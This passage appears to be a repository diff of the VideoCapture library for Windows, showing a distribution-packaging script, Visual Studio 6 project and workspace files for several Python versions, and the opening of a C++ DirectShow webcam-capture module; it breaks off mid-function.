--></style>''', '''<style type="text/css"><!--
TT { font-family: courier new }
--></style>''')
cont = string.replace(cont, 'face="helvetica, arial"', 'face="verdana"')
cont = string.replace(cont, r'<a href=".">index</a><br><a href="file:///D|/home/python/vidcap/videocapture-' + version + r'/src/videocapture.py">d:\home\python\vidcap\videocapture-' + version + r'\src\videocapture.py</a>', '<a href="../index.html">index.html</a><br><a href="VideoCapture.py.html">VideoCapture.py</a>')
fp = open(file, 'wt')
fp.write(cont)
fp.close()
###############################################################################
print '- zip_it'
import zipfile
archive = zipfile.ZipFile('../VideoCapture-' + version + '.zip', 'w', zipfile.ZIP_DEFLATED)
archive.write('../LGPL.txt', 'LGPL.txt')
archive.write('../index.html', 'index.html')
archive.write('../html/logo.jpg', 'html/logo.jpg')
archive.write('../html/PythonPowered.gif', 'html/PythonPowered.gif')
archive.write('../html/VideoCapture.py.html', 'html/VideoCapture.py.html')
archive.write('../html/VideoCapture.html', 'html/VideoCapture.html')
archive.write('mkdist.py', 'src/mkdist.py')
archive.write('fixhtml.py', 'src/fixhtml.py')
archive.write('vidcap.dsp', 'src/vidcap.dsp')
archive.write('vidcap.dsw', 'src/vidcap.dsw')
archive.write('vidcapmodule.cpp', 'src/vidcapmodule.cpp')
archive.write('VideoCapture.py', 'src/VideoCapture.py')
archive.write('helvB08.png', 'src/helvB08.png')
archive.write('helvB08.pil', 'src/helvB08.pil')
archive.write('helvetica-10.png', 'src/helvetica-10.png')
archive.write('helvetica-10.pil', 'src/helvetica-10.pil')
archive.write('VideoCapture.py', 'Python20/Lib/VideoCapture.py')
archive.write('helvB08.png', 'Python20/Lib/helvB08.png')
archive.write('helvB08.pil', 'Python20/Lib/helvB08.pil')
archive.write('helvetica-10.png', 'Python20/Lib/helvetica-10.png')
archive.write('helvetica-10.pil', 'Python20/Lib/helvetica-10.pil')
archive.write('VideoCapture.py', 'Python21/Lib/VideoCapture.py')
archive.write('helvB08.png', 'Python21/Lib/helvB08.png')
archive.write('helvB08.pil', 'Python21/Lib/helvB08.pil')
archive.write('helvetica-10.png', 'Python21/Lib/helvetica-10.png')
archive.write('helvetica-10.pil', 'Python21/Lib/helvetica-10.pil')
archive.write('VideoCapture.py', 'Python22/Lib/VideoCapture.py')
archive.write('helvB08.png', 'Python22/Lib/helvB08.png')
archive.write('helvB08.pil', 'Python22/Lib/helvB08.pil')
archive.write('helvetica-10.png', 'Python22/Lib/helvetica-10.png')
archive.write('helvetica-10.pil', 'Python22/Lib/helvetica-10.pil')
archive.write('VideoCapture.py', 'Python23/Lib/VideoCapture.py')
archive.write('helvB08.png', 'Python23/Lib/helvB08.png')
archive.write('helvB08.pil', 'Python23/Lib/helvB08.pil')
archive.write('helvetica-10.png', 'Python23/Lib/helvetica-10.png')
archive.write('helvetica-10.pil', 'Python23/Lib/helvetica-10.pil')
archive.write('VideoCapture.py', 'Python24/Lib/VideoCapture.py')
archive.write('helvB08.png', 'Python24/Lib/helvB08.png')
archive.write('helvB08.pil', 'Python24/Lib/helvB08.pil')
archive.write('helvetica-10.png', 'Python24/Lib/helvetica-10.png')
archive.write('helvetica-10.pil', 'Python24/Lib/helvetica-10.pil')
archive.write('VideoCapture.py', 'Python25/Lib/VideoCapture.py')
archive.write('helvB08.png', 'Python25/Lib/helvB08.png')
archive.write('helvB08.pil', 'Python25/Lib/helvB08.pil')
archive.write('helvetica-10.png', 'Python25/Lib/helvetica-10.png')
archive.write('helvetica-10.pil', 'Python25/Lib/helvetica-10.pil')
archive.write('VideoCapture.py', 'Python26/Lib/VideoCapture.py')
archive.write('helvB08.png', 'Python26/Lib/helvB08.png')
archive.write('helvB08.pil', 'Python26/Lib/helvB08.pil')
archive.write('helvetica-10.png', 'Python26/Lib/helvetica-10.png')
archive.write('helvetica-10.pil', 'Python26/Lib/helvetica-10.pil')
archive.write('Python20/vidcap.pyd', 'Python20/DLLs/vidcap.pyd')
archive.write('Python21/vidcap.pyd', 'Python21/DLLs/vidcap.pyd')
archive.write('Python22/vidcap.pyd', 'Python22/DLLs/vidcap.pyd')
archive.write('Python23/vidcap.pyd', 'Python23/DLLs/vidcap.pyd')
archive.write('Python24/vidcap.dll', 'Python24/DLLs/vidcap.dll')
archive.write('Python25/vidcap.pyd', 'Python25/DLLs/vidcap.pyd')
archive.write('Python26/vidcap.pyd', 'Python26/DLLs/vidcap.pyd')
archive.write('../AMCAP/AMCAP.EXE', 'AMCAP/AMCAP.EXE')
archive.write('../AMCAP/AMCAP.DOC', 'AMCAP/AMCAP.DOC')
archive.write('../Examples/exa1_snapshot.py', 'Examples/exa1_snapshot.py')
archive.write('../Examples/exa2_show-possibilities.py', 'Examples/exa2_show-possibilities.py')
archive.write('../Examples/exa3_observer.py', 'Examples/exa3_observer.py')
archive.write('../Examples/displayPropertiesDev0.pyw', 'Examples/displayPropertiesDev0.pyw')
archive.write('../Examples/displayPropertiesDev1.pyw', 'Examples/displayPropertiesDev1.pyw')
archive.write('../Examples/test1.jpg', 'Examples/test1.jpg')
archive.write('../Examples/test2.jpg', 'Examples/test2.jpg')
archive.write('../Examples/test3.jpg', 'Examples/test3.jpg')
archive.write('../Examples/test4.jpg', 'Examples/test4.jpg')
archive.write('../Tools/readme.txt', 'Tools/readme.txt')
archive.write('../Tools/webcam-saver/webcam-saver.py', 'Tools/webcam-saver/webcam-saver.py')
archive.write('../Tools/webcam-saver/webcam-saver.ini', 'Tools/webcam-saver/webcam-saver.ini')
archive.write('../Tools/webcam-uploader/webcam-uploader.py', 'Tools/webcam-uploader/webcam-uploader.py')
archive.write('../Tools/webcam-uploader/webcam-uploader.ini', 'Tools/webcam-uploader/webcam-uploader.ini')
archive.write('../Tools/webcam-uploader/scpdropin.py', 'Tools/webcam-uploader/scpdropin.py')
archive.write('../Tools/webcam-uploader/template.html', 'Tools/webcam-uploader/template.html')
archive.write('../Tools/webcam-uploader/offline.jpg', 'Tools/webcam-uploader/offline.jpg')
archive.write('../Tools/webcam-uploader/offline2.jpg', 'Tools/webcam-uploader/offline2.jpg')
archive.write('../Tools/webcam-watcher/cam_form.ui', 'Tools/webcam-watcher/cam_form.ui')
archive.write('../Tools/webcam-watcher/cam_form.py', 'Tools/webcam-watcher/cam_form.py')
archive.write('../Tools/webcam-watcher/webcam-watcher.py', 'Tools/webcam-watcher/webcam-watcher.py')
archive.write('../Tools/webcam-watcher/webcam-watcher.ini', 'Tools/webcam-watcher/webcam-watcher.ini')
archive.write('../Tools/webcam-watcher/cam.png', 'Tools/webcam-watcher/cam.png')
archive.write('../Tools/webcam-watcher/cam256.ico', 'Tools/webcam-watcher/cam256.ico')
archive.write('../Tools/webcam-watcher/retrieving.png', 'Tools/webcam-watcher/retrieving.png')
archive.write('../Tools/webcam-watcher/error.png', 'Tools/webcam-watcher/error.png')
archive.write('../Tools/webcam-watcher/setup.py', 'Tools/webcam-watcher/setup.py')
archive.write('../Tools/webcam-watcher/makedist.bat', 'Tools/webcam-watcher/makedist.bat')
archive.write('../Tools/3rdParty/webcam-server/email.txt', 'Tools/3rdParty/webcam-server/email.txt')
archive.write('../Tools/3rdParty/webcam-server/webcam-server.py', 'Tools/3rdParty/webcam-server/webcam-server.py')
archive.write('../Tools/3rdParty/webcam-server/webcam-server.ini', 'Tools/3rdParty/webcam-server/webcam-server.ini')
archive.write('../Tools/3rdParty/pushserver/email.txt', 'Tools/3rdParty/pushserver/email.txt')
archive.write('../Tools/3rdParty/pushserver/server.py', 'Tools/3rdParty/pushserver/server.py')
archive.write('../Tools/3rdParty/pushserver/index.html', 'Tools/3rdParty/pushserver/index.html')
archive.write('../Tools/3rdParty/pushserver/test_push.html', 'Tools/3rdParty/pushserver/test_push.html')
archive.write('../Tools/3rdParty/pushserver/test_static.html', 'Tools/3rdParty/pushserver/test_static.html')
archive.close()

View File

@ -0,0 +1,291 @@
# Microsoft Developer Studio Project File - Name="vidcap" - Package Owner=<4>
# Microsoft Developer Studio Generated Build File, Format Version 6.00
# ** DO NOT EDIT **
# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
CFG=vidcap - Win32 Python20
!MESSAGE This is not a valid makefile. To build this project using NMAKE,
!MESSAGE use the Export Makefile command and run
!MESSAGE
!MESSAGE NMAKE /f "vidcap.mak".
!MESSAGE
!MESSAGE You can specify a configuration when running NMAKE
!MESSAGE by defining the macro CFG on the command line. For example:
!MESSAGE
!MESSAGE NMAKE /f "vidcap.mak" CFG="vidcap - Win32 Python20"
!MESSAGE
!MESSAGE Possible choices for configuration are:
!MESSAGE
!MESSAGE "vidcap - Win32 Python20" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "vidcap - Win32 Python21" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "vidcap - Win32 Python22" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "vidcap - Win32 Python23" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "vidcap - Win32 Python24" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "vidcap - Win32 Python25" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE
# Begin Project
# PROP AllowPerConfigDependencies 0
# PROP Scc_ProjName ""
# PROP Scc_LocalPath ""
CPP=cl.exe
MTL=midl.exe
RSC=rc.exe
!IF "$(CFG)" == "vidcap - Win32 Python20"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "vidcap___Win32_Python20"
# PROP BASE Intermediate_Dir "vidcap___Win32_Python20"
# PROP BASE Ignore_Export_Lib 0
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Python20"
# PROP Intermediate_Dir "Python20"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MD /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON20\INCLUDE" /I "c:\DXSDK\include" /I "c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 python20.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:"Release/vidcap.pyd"
# SUBTRACT BASE LINK32 /map /nodefaultlib
# ADD LINK32 c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses\Release\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:"libcmt" /out:"Python20/vidcap.pyd" /libpath:"c:\PYTHON20\LIBS" /libpath:"c:\DXSDK\lib"
# SUBTRACT LINK32 /pdb:none
# Begin Custom Build
TargetPath=.\Python20\vidcap.pyd
InputPath=.\Python20\vidcap.pyd
SOURCE="$(InputPath)"
"c:\Python20\DLLs\vidcap.pyd" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"
copy $(TargetPath) "c:\python20\DLLs"
# End Custom Build
!ELSEIF "$(CFG)" == "vidcap - Win32 Python21"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "vidcap___Win32_Python21"
# PROP BASE Intermediate_Dir "vidcap___Win32_Python21"
# PROP BASE Ignore_Export_Lib 0
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Python21"
# PROP Intermediate_Dir "Python21"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MD /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON21\INCLUDE" /I "c:\DXSDK\include" /I "c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 python20.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:"Release/vidcap.pyd"
# SUBTRACT BASE LINK32 /map /nodefaultlib
# ADD LINK32 c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses\Release\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:"libcmt" /out:"Python21/vidcap.pyd" /libpath:"c:\PYTHON21\LIBS" /libpath:"c:\DXSDK\lib"
# SUBTRACT LINK32 /pdb:none /nodefaultlib
# Begin Custom Build
TargetPath=.\Python21\vidcap.pyd
InputPath=.\Python21\vidcap.pyd
SOURCE="$(InputPath)"
"c:\Python21\DLLs\vidcap.pyd" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"
copy $(TargetPath) "c:\python21\DLLs"
# End Custom Build
!ELSEIF "$(CFG)" == "vidcap - Win32 Python22"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "vidcap___Win32_Python22"
# PROP BASE Intermediate_Dir "vidcap___Win32_Python22"
# PROP BASE Ignore_Export_Lib 0
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Python22"
# PROP Intermediate_Dir "Python22"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON22\INCLUDE" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON22\INCLUDE" /I "c:\DXSDK\include" /I "c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:"Python21/vidcap.pyd" /libpath:"c:\PYTHON21\LIBS"
# SUBTRACT BASE LINK32 /pdb:none
# ADD LINK32 c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses\Release\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:"libcmt" /out:"Python22/vidcap.pyd" /libpath:"c:\PYTHON22\LIBS" /libpath:"c:\DXSDK\lib"
# SUBTRACT LINK32 /pdb:none /nodefaultlib
# Begin Custom Build
TargetPath=.\Python22\vidcap.pyd
InputPath=.\Python22\vidcap.pyd
SOURCE="$(InputPath)"
"c:\Python22\DLLs\vidcap.pyd" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"
copy $(TargetPath) "c:\python22\DLLs"
# End Custom Build
!ELSEIF "$(CFG)" == "vidcap - Win32 Python23"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "vidcap___Win32_Python23"
# PROP BASE Intermediate_Dir "vidcap___Win32_Python23"
# PROP BASE Ignore_Export_Lib 0
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Python23"
# PROP Intermediate_Dir "Python23"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON23\INCLUDE" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON23\INCLUDE" /I "c:\DXSDK\include" /I "c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:"Python23/vidcap.pyd" /libpath:"c:\PYTHON23\LIBS"
# SUBTRACT BASE LINK32 /pdb:none
# ADD LINK32 c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses\Release\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:"libcmt" /out:"Python23/vidcap.pyd" /libpath:"c:\PYTHON23\LIBS" /libpath:"c:\DXSDK\lib"
# SUBTRACT LINK32 /pdb:none
# Begin Custom Build
TargetPath=.\Python23\vidcap.pyd
InputPath=.\Python23\vidcap.pyd
SOURCE="$(InputPath)"
"c:\Python23\DLLs\vidcap.pyd" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"
copy $(TargetPath) "c:\python23\DLLs"
# End Custom Build
!ELSEIF "$(CFG)" == "vidcap - Win32 Python24"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "vidcap___Win32_Python24"
# PROP BASE Intermediate_Dir "vidcap___Win32_Python24"
# PROP BASE Ignore_Export_Lib 0
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Python24"
# PROP Intermediate_Dir "Python24"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON24\INCLUDE" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON24\INCLUDE" /I "c:\DXSDK\include" /I "c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:"Python24/vidcap.pyd" /libpath:"c:\PYTHON24\LIBS"
# SUBTRACT BASE LINK32 /pdb:none
# ADD LINK32 c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses\Release\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:"libcmt" /out:"Python24/vidcap.pyd" /libpath:"c:\PYTHON24\LIBS" /libpath:"c:\DXSDK\lib"
# SUBTRACT LINK32 /pdb:none
# Begin Custom Build
TargetPath=.\Python24\vidcap.pyd
InputPath=.\Python24\vidcap.pyd
SOURCE="$(InputPath)"
"c:\Python24\DLLs\vidcap.pyd" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"
copy $(TargetPath) "c:\python24\DLLs"
# End Custom Build
!ELSEIF "$(CFG)" == "vidcap - Win32 Python25"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "vidcap___Win32_Python25"
# PROP BASE Intermediate_Dir "vidcap___Win32_Python25"
# PROP BASE Ignore_Export_Lib 0
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Python25"
# PROP Intermediate_Dir "Python25"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON25\INCLUDE" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON25\INCLUDE" /I "c:\DXSDK\include" /I "c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:"Python25/vidcap.pyd" /libpath:"c:\PYTHON25\LIBS"
# SUBTRACT BASE LINK32 /pdb:none
# ADD LINK32 c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses\Release\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:"libcmt" /out:"Python25/vidcap.pyd" /libpath:"c:\PYTHON25\LIBS" /libpath:"c:\DXSDK\lib"
# SUBTRACT LINK32 /pdb:none
# Begin Custom Build
TargetPath=.\Python25\vidcap.pyd
InputPath=.\Python25\vidcap.pyd
SOURCE="$(InputPath)"
"c:\Python25\DLLs\vidcap.pyd" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"
copy $(TargetPath) "c:\python25\DLLs"
# End Custom Build
!ENDIF
# Begin Target
# Name "vidcap - Win32 Python20"
# Name "vidcap - Win32 Python21"
# Name "vidcap - Win32 Python22"
# Name "vidcap - Win32 Python23"
# Name "vidcap - Win32 Python24"
# Name "vidcap - Win32 Python25"
# Begin Group "Source Files"
# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
# Begin Source File
SOURCE=.\vidcapmodule.cpp
# End Source File
# End Group
# Begin Group "Header Files"
# PROP Default_Filter "h;hpp;hxx;hm;inl"
# End Group
# Begin Group "Resource Files"
# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
# End Group
# End Target
# End Project

View File

@ -0,0 +1,29 @@
Microsoft Developer Studio Workspace File, Format Version 6.00
# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!
###############################################################################
Project: "vidcap"=.\vidcap.dsp - Package Owner=<4>
Package=<5>
{{{
}}}
Package=<4>
{{{
}}}
###############################################################################
Global:
Package=<5>
{{{
}}}
Package=<3>
{{{
}}}
###############################################################################

View File

@ -0,0 +1,890 @@
#include "stdafx.h"
// vidcapmodule.cpp
// by Markus Gritsch <gritsch@iue.tuwien.ac.at>
// code plugged together from
// http://www.python.org/doc/current/ext/ext.html
// and
// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dx8_c/directx_cpp/htm/howtowriteacaptureapplication.asp
// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dx8_c/directx_cpp/htm/usingthesamplegrabber.asp
// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dx8_c/directx_cpp/htm/playcapsample.asp
// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dx8_c/directx_cpp/htm/displayingafilterspropertypages.asp
#include "Python.h"
#include <dshow.h>
//#include <qedit.h> // Sample Grabber, Null Renderer
#include "qedit.h" // Deprecated and no longer included in the Windows SDK
#include <mtype.h> // DirectShow Base Classes - FreeMediaType(), DeleteMediaType()
static PyObject *VidcapError;
//staticforward PyTypeObject Dev_Type; // does not work for Python 2.3 anymore
extern PyTypeObject Dev_Type; // suggested by Jon Schneider <jon@jschneider.net>
typedef struct {
PyObject_HEAD
IGraphBuilder *ob_pGraph;
ICaptureGraphBuilder2 *ob_pBuilder;
IBaseFilter *ob_pSrc;
ISampleGrabber *ob_pGrab;
IMediaControl *ob_pControl;
int devnum;
int showVideoWindow;
IPropertyBag *ob_pPropBag;
} DevObject;
static void
cleanup(DevObject *self)
{
if (self->ob_pControl != NULL)
self->ob_pControl->Stop();
if (self->ob_pControl != NULL)
self->ob_pControl->Release();
//self->ob_pControl = NULL;
if (self->ob_pGrab != NULL)
self->ob_pGrab->Release();
//self->ob_pGrab = NULL;
if (self->ob_pSrc != NULL)
self->ob_pSrc->Release();
//self->ob_pSrc = NULL;
if (self->ob_pBuilder != NULL)
self->ob_pBuilder->Release();
//self->ob_pBuilder = NULL;
if (self->ob_pGraph != NULL)
self->ob_pGraph->Release();
//self->ob_pGraph = NULL;
if (self->ob_pPropBag != NULL)
self->ob_pPropBag->Release();
//self->ob_pPropBag = NULL;
}
static bool
initialize(DevObject *self)
{
HRESULT hr;
// Creating the Required Components
// ================================
// Create the filter graph.
hr = CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC,
IID_IGraphBuilder, (void **)&self->ob_pGraph);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Creation of the filter graph failed.");
cleanup(self);
return FALSE;
}
// Create the capture graph builder.
hr = CoCreateInstance(CLSID_CaptureGraphBuilder2, NULL, CLSCTX_INPROC,
IID_ICaptureGraphBuilder2, (void **)&self->ob_pBuilder);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Creation of the capture graph builder failed.");
cleanup(self);
return FALSE;
}
hr = self->ob_pBuilder->SetFiltergraph(self->ob_pGraph);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Setting the filter graph for the capture graph builder failed.");
cleanup(self);
return FALSE;
}
// Selecting a Capture Device
// ==========================
// Create the system device enumerator.
ICreateDevEnum *pDevEnum = NULL;
hr = CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC,
IID_ICreateDevEnum, (void **)&pDevEnum);
if (FAILED(hr))
{
PyErr_SetString(VidcapError, "Creation of the system device enumerator failed.");
cleanup(self);
return FALSE;
}
// Create an enumerator for video capture devices.
IEnumMoniker *pClassEnum = NULL;
hr = pDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pClassEnum, 0);
pDevEnum->Release();
if (hr != S_OK) // fix by Jonathan Viney <jonathan@bluewire.net.nz> "doing FAILED(hr) isn't a good enough check"
{
PyErr_SetString(VidcapError, "Creation of the enumerator for video capture devices failed.");
cleanup(self);
return FALSE;
}
ULONG cFetched;
IMoniker *pMoniker = NULL;
for (int i=0; i <= self->devnum; i++)
{
if (pClassEnum->Next(1, &pMoniker, &cFetched) != S_OK)
{
PyErr_SetString(VidcapError, "The device with the specified device number does not exist.");
pClassEnum->Release();
cleanup(self);
return FALSE;
}
}
pClassEnum->Release();
// Bind the moniker to a filter object.
if (self->ob_pSrc == NULL)
{
